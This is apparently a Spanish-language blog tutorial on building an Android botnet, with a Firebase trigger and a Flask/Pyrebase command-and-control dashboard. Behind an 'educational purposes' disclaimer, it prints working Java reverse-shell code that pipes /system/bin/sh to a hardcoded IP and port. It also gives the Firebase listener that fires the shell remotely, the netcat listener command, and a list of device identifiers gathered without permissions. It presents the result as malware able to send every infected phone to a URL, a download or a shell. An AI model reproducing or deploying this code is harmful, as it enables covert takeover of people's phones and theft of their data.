Android BotNet. C&C con Pyrebase y Flask.

Aviso legal: Este proyecto ha sido desarrollado con fines educativos. 
No se dará soporte o apoyo a cualquier otra finalidad.
Disclaimer: This project should be used only for educational purposes.
No support will be provided for any other purpose.

Para construir nuestra botnet son necesarios tres componentes: el malware del bot, un servidor que haga de Command&Control y un Botnet Master.

En nuestro caso utilizaremos un dashboard hecho con Flask y conectado una base de datos en Firebase.

Para conectar los bots en Android instalaremos una aplicacion que abrirá una conexión SSH en la IP que le indiquemos. A través de un servicio de la app en segundo plano, con un disparador apuntando a nuestra base de datos podremos crear conexiones cuando queramos.

El software que se necesita es:

  1. La app del bot se desarrolla en Android.
  2. Anaconda será donde corramos Python.
  3. El dashboard del Command&Control esta creado con Flask.
  4. Con Pyrebase conectamos la base de datos y el dashboard.
  5. Firebase nos sirve como base de datos no relacional.
  6. Usamos Google Maps para localizar los dispositivos en un mapa.
  7. Una máquina de Linux nos servirá como Shell.

App

Por razones de seguridad no se facilita el codigo fuente de la aplicacion. En cambio se irá detallando toda la programática necesaria para poder entender el proyecto.

Como nuestro sistema se va a basar en la creación de una Reverse Shell en Android. Tendremos la capacidad de abrir un una consola y ejecutar comandos o escalar privilegios primero.

Las mejores prácticas pasan por la creación de una clase propia que contenga el código para ejecutar comandos en la consola de cada dispositivo.


    Process proces;
    Socket socket;
    String myCommand = "system/bin/sh"


    public void reverseShell() throws Exception {

        process = Runtime.getRuntime().exec(myCommand);
        socket = new Socket("ip", "port");

        forwardStream(socket.getInputStream(), process.getOutputStream());
        forwardStream(process.getInputStream(), socket.getOutputStream());
        forwardStream(process.getErrorStream(), socket.getOutputStream());
        process.waitFor();

        socket.getInputStream().close();
        socket.getOutputStream().close();
    }



    private static void forwardStream(final InputStream input, final OutputStream output) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    final byte[] buf = new byte[4096];
                    int length;
                    while ((length = input.read(buf)) != -1) {
                        if (output != null) {
                            output.write(buf, 0, length);
                            if (input.available() == 0) {
                                output.flush();
                            }
                        }
                    }
                } catch (Exception e) {
                    // die silently
                } finally {
                    try {
                        input.close();
                        output.close();
                    } catch (IOException e) {
                        // die silently
                    }
                }
            }
        }).start();
    }

Podemos ver que, además de poder ejecutar una Shell, este método tambien nos servirá para ejecutar cualquier tipo de app, archivos o direcciones web.

Pero sabemos que teniendo una Shell abierta…

"system/bin/sh"

… en cualquier momento podremos operar con todos los dispositivos.

Este método se ejecutará cuando nosotros queramos, es decir, que estará a la espera, escuchando una base de datos donde además dejará un registro en función de nuestras necesidades.

Una de las mayores ventajas es que esta aplicación no necesita permisos para trabajar. Sea o no root el dispositivo, siempre abrirá una conexión Shell.

Como está conectado a una base de datos de Google, Firebase, no pide permiso expreso de Internet.

A priori, la indagación de datos se hará a través de la conexión SSH mientras que algunos de interés que podamos obtener sin necesidad de pedir permisos se pueden ver en el siguiente objeto JSON:

androidId: "b894d0050ff622bf"
api: "22"
cellProvider: "Android"
connect: false
device: "Mobile"
languaje: "English"
lastConnection: "1590518712467"
location: "USA"
macAddress: "02:00:00:44:55:66"
mobileUsername: "Samsung"
model: "Samsung Galaxy Note 6"
network: "Wifi"

En este caso, podemos observar que «connect: false» es un disparador único por cada dispositivo. Todos están esperando que su atributo pase a «true» para lanzar el método reverseShell() anteriormente descrito.

myRef.child("users").child(pref).child("connect").addValueEventListener(new ValueEventListener() {
            @Override
            public void onDataChange(@NonNull DataSnapshot dataSnapshot) {

                Runnable runAnr = new Runnable() {
                    @Override
                    public void run() {
                        try {
                            anresh = new AndroidReverseShell(pref,"192.168.1.105",6969, readAllInfo());
                            anresh.reverseShell();
                        } catch (Exception e) {
                            Log.e("Error", e.getMessage());
                            FirebaseDatabase database = FirebaseDatabase.getInstance();
                            DatabaseReference myRef = database.getReference();
                            myRef.child("users").child(pref).child("connect").setValue(false);
                        }
                    }
                };

                Thread threadRunAnr = new Thread(runAnr);

                if ((boolean)dataSnapshot.getValue() == true){
                    threadRunAnr.start();
                }else if((boolean)dataSnapshot.getValue() == false){
                    if (threadRunAnr.getState() == Thread.State.NEW){
                        threadRunAnr.interrupt();
                        try {
                            anresh.exitSSH();
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }

                }
            }

Pero si nos paramos a pensarlo, al igual que escucha un atributo boleano, también puede estar a la espera de un String que contenga una dirección web y abrir un WebView. Son muchas las opciones pero en este ejemplo sólo veremos la Reverse Shell que ya es bastante, aunque aparcamos esa idea para otro momento.

Por consiguiente, ahora sólo nos quedaría abrir una máquina de Linux y ejecutar:

nc -lvp 6969

para escuchar en todos los rangos de ip para el puerto 6969.

Ya hemos conseguido crear la parte del malware, ahora crearemos la parrilla desde controlaremos el mundo, digo los móviles…

Dashboard

En nuestro ejemplo usamos Flask junto a Pyrebase para construir el dashboard. Flask para construir la vista Pyrebase para el modelo. Todo ello implementado con Bootstrap.

Una vez instalado el proyecto y sirviendo en la ip 127.0.0.1:5000 podremos ver el dashboard desde nuestro navegador:

Se ha creado un listado para poder dar órdenes de grupo. De manera que podemos hacer que todos los dispositivos apunten a la misma web, descarguen un archivo o abran una Shell a la vez.

Deja un comentario